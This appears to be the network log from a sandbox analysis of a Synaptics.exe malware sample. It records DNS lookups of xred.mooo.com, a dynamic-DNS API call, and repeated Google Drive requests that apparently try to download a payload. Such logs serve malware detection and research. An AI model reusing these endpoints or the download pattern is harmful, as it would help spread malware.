Nov 5, 2024 22:44:26.965305090 CET	1.1.1.1	192.168.2.5	0x632c	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 5, 2024 22:44:32.654479027 CET	1.1.1.1	192.168.2.5	0x9e78	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

otelrules.azureedge.net

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	69.42.215.252	80	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 22:44:01.097198009 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Nov 5, 2024 22:44:02.178385019 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 05 Nov 2024 21:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:01 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Pqg-CmUYHZPLj6VG_bC-Nw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:01 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fdikM4Mhjw3QJzE_lXuCbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:02 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HH-eFAgF-iG1zc3gxs660g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:02 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MvTMaJfN6esBLFd4uHlTHg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:02 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-05 21:44:02 UTC	1600	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:02 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-LWJ00bb6JE6whvBxkQ9D7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY0dk3TsItE9wPQSsNFXFfIhoAGhhbtkdhA5UD73xSzeWFs6yYtKm8-dv_wSq1GDFHdRjcsRSkwg-w Server: UploadServer Set-Cookie: NID=518=qXCc1ItKy39zclishG3lJPWHQIXig-czns6rA7aMGgjqjClusxZU9ws5ACNPo6F3tkb29OjltQKotVk7HqnFjdbvkbI6QwiZ0bcUdju9-7a05VRNl2xR-3dkjo3cCq43-kMr_ZXasnEXsgnzns5RVgvknKJ2IPf8v5cxrNztWP9OsLoNzWE; expires=Wed, 07-May-2025 21:44:02 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:02 UTC	1600	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 6f 30 58 44 35 62 78 49 2d 71 6a 70 70 78 6c 38 41 34 33 51 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5o0XD5bxI-qjppxl8A43QA">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-11-05 21:44:02 UTC	52	IN	Data Raw: 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:02 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-05 21:44:03 UTC	1600	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:02 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2_ybFommKn2h8N8IMjrazw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 X-GUploader-UploadID: AHmUCY0kd38BLSWrPiTswSenTi9B24jR1yhEZL4uaa7k4kAqNegLNDrEw8W5WgfYu90-Fwny-6kubV6L9A Server: UploadServer Set-Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y; expires=Wed, 07-May-2025 21:44:02 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:03 UTC	1600	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 6e 62 66 4f 57 52 55 73 58 41 38 45 31 68 55 70 77 67 34 48 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XnbfOWRUsXA8E1hUpwg4Hg">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-11-05 21:44:03 UTC	52	IN	Data Raw: 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:03 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:03 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-DXd8345lnh8UYVFCMkmzuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49722	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:03 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-05 21:44:04 UTC	1600	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:04 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-8a5kDjT618qxJKGw7m3Rig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 X-GUploader-UploadID: AHmUCY1nFP0UhlHr6qYFFnIvwE4yhcSOtY-e6ycRxBocsP16HI7QBPKb5uP12OlD1UuSVOlU3Vvw0sKQ0g Server: UploadServer Set-Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ; expires=Wed, 07-May-2025 21:44:04 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:04 UTC	1600	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 69 72 35 66 76 4b 43 49 66 73 30 48 42 78 54 6d 6d 67 66 46 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="gir5fvKCIfs0HBxTmmgfFw">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-11-05 21:44:04 UTC	52	IN	Data Raw: 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49723	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:04 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49730	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:05 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-WJ8KzyCg_1qIVSbx0OHCzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49729	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:05 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-x9gUVxHThqA8ZxQw_4msWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49736	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:06 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
